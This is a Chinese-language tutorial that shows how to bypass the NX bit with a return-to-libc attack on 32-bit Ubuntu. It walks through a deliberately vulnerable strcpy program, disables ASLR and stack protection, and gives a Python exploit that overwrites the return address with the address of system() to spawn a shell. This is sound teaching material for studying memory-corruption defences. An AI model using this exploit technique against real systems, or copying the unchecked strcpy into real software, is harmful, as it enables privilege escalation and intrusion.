0.前言
溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。
在前面的探究中,所用的方法都是将shellcode放到栈中,修改返回地址到shellcode的位置,造成任意代码执行。为了阻止攻击者的行动,安全研究人员提出了一个名为“NX 位”的漏洞缓解技术。 NX 位,它是一种利用缓解技术,使某些内存区域不可执行,并使可执行区域不可写。使数据,堆栈和堆段不可执行,而代码段不可写。
在NX 位打开的情况下,基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。但是现在由于堆栈不再可执行,我们的漏洞利用失败!但是这种缓解技术并不完全是万无一失的,可以使用Ret2libc绕过 NX 位
1.环境及工具
虚拟机环境:Ubuntu 12.04 Desktop(x86)
工具:gdb-peda
2.漏洞程序的成因分析
2.1 漏洞代码
一个简单的含有漏洞的代码如下:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}
漏洞代码的位置为:strcpy(buf,argv[1])
2.2 编译命令
这次的编译命令需要开启栈保护,同时还需要关闭ASLR,命令如下
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -o vuln vuln.c
此时编译的可执行程序的NX位是开启的,使用checksec工具检查程序信息如下:
2.3 调试
直接使用gdb查看main函数的汇编代码
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048464 <+0>: push ebp
0x08048465 <+1>: mov ebp,esp
0x08048467 <+3>: and esp,0xfffffff0
0x0804846a <+6>: sub esp,0x110
0x08048470 <+12>: mov eax,DWORD PTR [ebp+0xc]
0x08048473 <+15>: add eax,0x4
0x08048476 <+18>: mov eax,DWORD PTR [eax]
0x08048478 <+20>: mov DWORD PTR [esp+0x4],eax
0x0804847c <+24>: lea eax,[esp+0x10]
0x08048480 <+28>: mov DWORD PTR [esp],eax
0x08048483 <+31>: call 0x8048370 <strcpy@plt>
0x08048488 <+36>: lea eax,[esp+0x10]
0x0804848c <+40>: mov DWORD PTR [esp],eax
0x0804848f <+43>: call 0x8048380 <puts@plt>
0x08048494 <+48>: mov eax,ds:0x804a020
0x08048499 <+53>: mov DWORD PTR [esp],eax
0x0804849c <+56>: call 0x8048360 <fflush@plt>
0x080484a1 <+61>: mov eax,0x0
0x080484a6 <+66>: leave
0x080484a7 <+67>: ret
End of assembler dump.
2.4 程序整体的栈布局大致如下
栈 | 指针 |
---|---|
… | |
argv | |
argc | |
Return Address | |
调用者的ebp | ebp |
对齐空间 | |
对齐空间 | |
buf_end | |
… | |
buf_start | |
… | esp |
3.编写exp
可以使用叫做“return-to-libc”的攻击技术绕过NX 位。这里返回地址被一个特定的libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用system地址覆盖返回地址,并在堆栈中设置system所需的相应参数,以便成功调用它。
下断点,运行
随后,找到system,exit,“/bin/sh”的地址
然后编写exp python代码如下:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0xb7e63170
exit = 0xb7e58fc0
system_arg = 0xb7f82be3
def conv(num):
return struct.pack("<I",num)
buf="A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])
可以看到通过执行exp成功获取了系统的root权限。